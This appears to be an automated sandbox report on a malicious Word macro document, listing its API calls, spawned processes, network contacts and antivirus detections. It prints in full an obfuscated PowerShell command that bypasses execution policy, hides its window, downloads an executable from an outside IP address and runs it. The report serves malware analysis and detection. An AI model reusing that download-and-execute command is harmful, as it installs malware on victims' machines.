NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b7a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 30, 2021, 5:55 p.m.	process_identifier: 596 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b7b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$in6-4.doc

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile April 30, 2021, 5:55 p.m.	create_disposition: 5 (FILE_OVERWRITE_IF) file_handle: 0x00000198 filepath: C:\Users\test22\AppData\Local\Temp\~$in6-4.doc desired_access: 0x40100080 (FILE_READ_ATTRIBUTES\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$in6-4.doc create_options: 4194400 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT) status_info: 2 (FILE_CREATED) share_access: 0 ()	1	0	0

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	CMD.exe /C "p^ow^ErshelL^.e^Xe -^ExEcutIO^Np^OLI^CY b^YP^aSs -^no^Pr^OF^ilE -wIn^dO^W^styL^e^ HId^D^en (N^ew-ObJE^C^T SY^STEm.N^Et.^W^EBC^L^IeNt^).DoWn^LOAD^f^i^LE^('http://84.200.4.102/dwpc.exe','%apPdaTA%.exE')^;^S^TaR^t-p^RoCEss '%ApPdata%.eXE'"
cmdline	powErshelL.eXe -ExEcutIONpOLICY bYPaSs -noPrOFilE -wIndOWstyLe HIdDen (New-ObJECT SYSTEm.NEt.WEBCLIeNt).DoWnLOADfiLE('http://84.200.4.102/dwpc.exe','C:\Users\test22\AppData\Roaming.exE');STaRt-pRoCEss 'C:\Users\test22\AppData\Roaming.eXE'

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW April 30, 2021, 5:55 p.m.	thread_identifier: 2988 thread_handle: 0x00000084 process_identifier: 596 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powErshelL.eXe -ExEcutIONpOLICY bYPaSs -noPrOFilE -wIndOWstyLe HIdDen (New-ObJECT SYSTEm.NEt.WEBCLIeNt).DoWnLOADfiLE('http://84.200.4.102/dwpc.exe','C:\Users\test22\AppData\Roaming.exE');STaRt-pRoCEss 'C:\Users\test22\AppData\Roaming.eXE' filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000088	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses April 30, 2021, 5:55 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW April 30, 2021, 5:55 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Communicates with host for which no DNS query was performed (1 event)

host

84.200.4.102

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	C:\Users\test22\AppData\Roaming.eXE
parent_process	winword.exe				martian_process	CMD.exe /C "p^ow^ErshelL^.e^Xe -^ExEcutIO^Np^OLI^CY b^YP^aSs -^no^Pr^OF^ilE -wIn^dO^W^styL^e^ HId^D^en (N^ew-ObJE^C^T SY^STEm.N^Et.^W^EBC^L^IeNt^).DoWn^LOAD^f^i^LE^('http://84.200.4.102/dwpc.exe','%apPdaTA%.exE')^;^S^TaR^t-p^RoCEss '%ApPdata%.eXE'"

Creates a suspicious Powershell process (4 events)

option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
value	Uses powershell to execute a file download from the command line

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 37 AntiVirus engines on VirusTotal as malicious (37 events)

MicroWorld-eScan	Trojan.GenericKD.4032157
FireEye	VBA:Amphitryon.3374
CAT-QuickHeal	Ole.Trojan-Downloader.A1386295
McAfee	W97M/Downloader.bsd
Sangfor	Malware.Generic-Macro.Save.9378bd11
Baidu	VBA.Trojan-Downloader.Agent.bai
Cyren	W97M/Agent.gen
Symantec	W97M.Downloader
ESET-NOD32	VBA/TrojanDownloader.Agent.CEW
TrendMicro-HouseCall	Trojan.W97M.POWLOAD.THABAAAH
Avast	VBA:Downloader-DUW [Trj]
ClamAV	Doc.Dropper.Downloader-6398265-0
Kaspersky	Trojan-Downloader.MSWord.Agent.axd
BitDefender	VBA:Amphitryon.3374
NANO-Antivirus	Trojan.Script.vbPShell.ejvnov
Rising	Downloader.Agent!8.B23 (TOPIS:E0:Z3yHNPAq86P)
Ad-Aware	Trojan.GenericKD.4032157
TACHYON	Suspicious/W97M.Obfus.Gen.6
Emsisoft	Trojan-Downloader.Macro (A)
Comodo	Malware@#1rjt6798z25ka
DrWeb	Exploit.Siggen.17643
TrendMicro	Trojan.W97M.POWLOAD.THABAAAH
McAfee-GW-Edition	BehavesLike.OLE2.Downloader.nx
Sophos	Troj/DocDl-GFB
Ikarus	Trojan-Downloader.Script
Avira	HEUR/Macro.Agent
Gridinsoft	Trojan.U.Downloader.oa
Microsoft	Trojan:O97M/Vigorf.A
GData	Trojan.GenericKD.4032157
Cynet	Malicious (score: 99)
ALYac	Trojan.GenericKD.4032157
MAX	malware (ai score=100)
Zoner	Probably Heur.W97Obfuscated
Tencent	Heur.Msword.Gen.c
SentinelOne	Static AI - Malicious OLE
Fortinet	WM/Agent.CIJ!tr
AVG	VBA:Downloader-DUW [Trj]

Powershell Downloader DFSP detected (1 event)

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (2 events)

dead_host	84.200.4.102:80
dead_host	192.168.56.101:49203

in6-4.doc

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All